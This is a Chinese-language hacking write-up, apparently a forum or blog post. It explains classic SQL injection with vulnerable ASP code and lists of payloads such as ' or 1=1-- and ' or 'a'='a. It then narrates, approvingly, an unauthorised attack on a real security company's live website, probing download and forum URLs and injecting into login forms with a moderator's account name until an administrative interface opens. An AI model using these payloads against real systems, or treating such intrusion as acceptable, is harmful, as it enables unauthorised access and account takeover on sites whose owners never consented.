------------------------------------------------------------------------------------------ 提示: 问:如何确认一个网站有SQL注入缺陷呢? 答:首先先加入某些特殊的字符标记,输入如: hi' or 1=1-- 寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入: - Login: hi' or 1=1-- - Pass: hi' or 1=1-- - http://duck/index.asp?id=hi' or 1=1-- 如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏 部分的值,如: 〈FORM action=http://duck/Search/search.asp method=post〉 〈input type=hidden name=A value="hi' or 1=1--"〉 〈/FORM〉 如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。 ------------------------------------------------------------------------------------------ 再试试下面的url,看看能否返回正常的页面... http://该安全公司的网址/某目录/download/open.asp?id=3444" http://该安全公司的网址/某目录/download/open.asp?id=3444' or 1=1-- http://该安全公司的网址/某目录/download/open.asp?id=3444" or 1=1-- http://该安全公司的网址/某目录/download/open.asp?id=3444' or 'a'='a http://该安全公司的网址/某目录/download/open.asp?id=3444" or "a"="a ------------------------------------------------------------------------------------------ 提示: 问:为什么要特意使用' or 1=1--来做测试呢? 答:让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方: http://duck/index.asp?category=food 在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) 正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为: SELECT * FROM product WHERE PCategory='food' 这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果我们把该URL改成这样的话: http://duck/index.asp?category=food' or 1=1-- 现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,那条SQL请求将会是:SELECT * FROM product WHERE PCategory='food' or 1=1--' 现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试: ' or 'a'='a 这样的话整个SQL请求将会变为:SELECT * FROM product WHERE PCategory='food' or 'a'='a'它也会返回相同的结果。根据实际情况,SQL注入请求是可以有多种动态变化的可能性的: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a ------------------------------------------------------------------------------------------ 都是返回“HTTP 500 - 内部服务器错误”,看来是又失败了,不怕,我们还有希望...此时的希望只 能全部寄托在论坛上了...(下图)
循序渐进,首先找来一条帖子的url(这一步笔者挑了:http://该安全公司的网址/论坛目录/list.asp ?ltid=14这条URL)重复刚刚的行为: http://该安全公司的网址/论坛目录/list.asp?ltid=14' http://该安全公司的网址/论坛目录/list.asp?ltid=14" http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 1=1-- http://该安全公司的网址/论坛目录/list.asp?ltid=14" or 1=1-- http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 'a'='a http://该安全公司的网址/论坛目录/list.asp?ltid=14" or "a"="a 不过看来还是在吃白果...(如下图所示)
除了地址栏,不要忘了还有论坛首页的登陆框:
在“用户名:”区域中输入: 网***' or 1=1-- 然后在“密码:”区域中随便输入几个密码看看吧:P(得到下图) ------------------------------------------------------------------------------------------ 附录:“网***”为我们在论坛首页中看到的那个版主帐号。 ------------------------------------------------------------------------------------------
还是不行,试试在密码区域进行注入攻击吧...具体操作: 在“用户名:”中输入: “网***” 然后在“密码:”中输入: ' or 1=1-- (提交后得到下图)
fail...再用: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a 切换了几次,还是不行,看来真的是“坚不可摧”了...“风继续吹,不忍远离...”小神的MP3里哼着‘哥哥’张国荣的歌,难道就这样离开吗?到论坛的首页里再逛一圈吧....一扫眼,还真道灵光,注意一下论坛登陆区域上方的小链接,看到了吧?第三条链接是什么呢?
单击后跳出如下图所示的登陆窗口:
首先在“论坛:”这一拦选中相应的版面(这里笔者挑了第一个版面“安全工具”),然后再重新尝试一下: 帐号: 网***' or 1=1-- 密码: 任意密码
不行,再试试: 帐号: 网*** 密码: ' or 1=1-- ...... ...... 小神的手颤了一下,只因“有颜色的界面”出来了: